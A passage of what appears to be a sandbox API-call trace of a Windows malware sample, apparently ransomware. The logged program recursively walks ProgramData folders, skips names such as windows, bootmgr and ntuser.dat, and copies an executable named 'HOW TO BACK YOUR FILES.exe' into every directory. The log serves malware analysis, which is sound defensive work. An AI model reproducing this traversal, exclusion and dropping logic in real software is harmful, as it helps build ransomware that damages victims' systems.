	[0039.695] lstrlenW (lpString="ppcrlconfig.dll") returned 15
	[0039.695] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*") returned 42
	[0039.695] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ppcrlconfig.dll" | out: lpString1="ppcrlconfig.dll") returned="ppcrlconfig.dll"
	[0039.695] lstrlenW (lpString="ppcrlconfig.dll") returned 15
	[0039.695] lstrlenW (lpString="Apollon865") returned 10
	[0039.695] lstrcmpiW (lpString1="config.dll", lpString2="Apollon865") returned 1
	[0039.695] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="ppcrlui.dll" | out: lpString1="ppcrlui.dll") returned="ppcrlui.dll"
	[0039.695] lstrlenW (lpString="ppcrlui.dll") returned 11
	[0039.695] lstrlenW (lpString="Apollon865") returned 10
	[0039.695] lstrcmpiW (lpString1="pcrlui.dll", lpString2="Apollon865") returned 1
	[0039.695] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Event Viewer", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer"
	[0039.695] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598408 | out: hHeap=0x580000) returned 1
	[0039.695] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0039.695] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned 41
	[0039.695] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Event Viewer" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer"
	[0039.695] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.695] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.701] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.701] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc52370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.701] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.701] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.701] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.701] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc52370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.701] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.701] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.701] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.701] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.701] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc52370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.701] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.701] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1
	[0039.701] lstrcmpiW (lpString1="Views", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.701] lstrcmpiW (lpString1="Views", lpString2="Apollon865.txt.exe") returned 1
	[0039.701] lstrcmpiW (lpString1="Views", lpString2=".") returned 1
	[0039.701] lstrcmpiW (lpString1="Views", lpString2="..") returned 1
	[0039.701] lstrcmpiW (lpString1="Views", lpString2="windows") returned -1
	[0039.701] lstrcmpiW (lpString1="Views", lpString2="bootmgr") returned 1
	[0039.701] lstrcmpiW (lpString1="Views", lpString2="temp") returned 1
	[0039.702] lstrcmpiW (lpString1="Views", lpString2="pagefile.sys") returned 1
	[0039.702] lstrcmpiW (lpString1="Views", lpString2="boot") returned 1
	[0039.702] lstrcmpiW (lpString1="Views", lpString2="ids.txt") returned 1
	[0039.702] lstrcmpiW (lpString1="Views", lpString2="ntuser.dat") returned 1
	[0039.702] lstrcmpiW (lpString1="Views", lpString2="perflogs") returned 1
	[0039.702] lstrcmpiW (lpString1="Views", lpString2="MSBuild") returned 1
	[0039.702] lstrlenW (lpString="Views") returned 5
	[0039.702] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*") returned 43
	[0039.702] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="Views" | out: lpString1="Views") returned="Views"
	[0039.702] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0039.702] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5458
	[0039.702] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0039.702] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0
	[0039.702] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.702] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0039.702] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views"
	[0039.702] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0039.702] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0039.702] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned 47
	[0039.702] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views"
	[0039.702] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.702] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.751] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.751] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fcc4790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcc4790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.751] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.751] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.751] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.751] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fcc4790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcc4790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.751] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.751] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.751] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.751] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.751] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1
	[0039.751] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.752] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="Apollon865.txt.exe") returned 1
	[0039.752] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2=".") returned 1
	[0039.752] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="..") returned 1
	[0039.752] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="windows") returned -1
	[0039.752] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="bootmgr") returned -1
	[0039.752] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="temp") returned -1
	[0039.752] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="pagefile.sys") returned -1
	[0039.752] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="boot") returned -1
	[0039.752] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="ids.txt") returned -1
	[0039.752] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="ntuser.dat") returned -1
	[0039.752] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="perflogs") returned -1
	[0039.752] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="MSBuild") returned -1
	[0039.752] lstrlenW (lpString="ApplicationViewsRootNode") returned 24
	[0039.752] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*") returned 49
	[0039.752] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ApplicationViewsRootNode" | out: lpString1="ApplicationViewsRootNode") returned="ApplicationViewsRootNode"
	[0039.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0039.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x599bd8
	[0039.752] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0039.752] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fcc4790, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fcc4790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.752] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.752] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fcc4790, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fcc4790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.752] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.752] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0039.752] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode"
	[0039.752] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0039.752] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0039.752] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned 72
	[0039.752] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode"
	[0039.752] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.752] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\applicationviewsrootnode\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.757] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.757] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcea8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.758] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.758] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.758] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.758] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcea8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.758] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.758] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.758] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.758] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.758] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fcea8f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.758] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.758] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fcea8f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.758] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.758] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0039.758] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\eHome", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\eHome") returned="C:\\Users\\All Users\\Microsoft\\eHome"
	[0039.758] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf28 | out: hHeap=0x580000) returned 1
	[0039.758] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0039.758] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\eHome") returned 34
	[0039.758] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\eHome" | out: lpString1="C:\\Users\\All Users\\Microsoft\\eHome") returned="C:\\Users\\All Users\\Microsoft\\eHome"
	[0039.758] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.758] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\eHome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\ehome\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.764] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.764] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcea8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.764] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.764] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.764] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.764] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcea8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.764] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.764] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.764] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.764] lstrcpyW (in: lpString1=0x2d3e596, lpString2="logs" | out: lpString1="logs") returned="logs"
	[0039.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0039.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bc9b8
	[0039.764] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0039.764] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0
	[0039.764] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.765] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0039.765] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\eHome\\logs", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\eHome\\logs") returned="C:\\Users\\All Users\\Microsoft\\eHome\\logs"
	[0039.765] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0039.765] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0039.765] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\eHome\\logs") returned 39
	[0039.765] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\eHome\\logs" | out: lpString1="C:\\Users\\All Users\\Microsoft\\eHome\\logs") returned="C:\\Users\\All Users\\Microsoft\\eHome\\logs"
	[0039.765] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.765] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.771] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.771] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.771] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.771] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.772] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\DRM", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM"
	[0039.772] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bded8 | out: hHeap=0x580000) returned 1
	[0039.772] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0039.772] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\DRM") returned 32
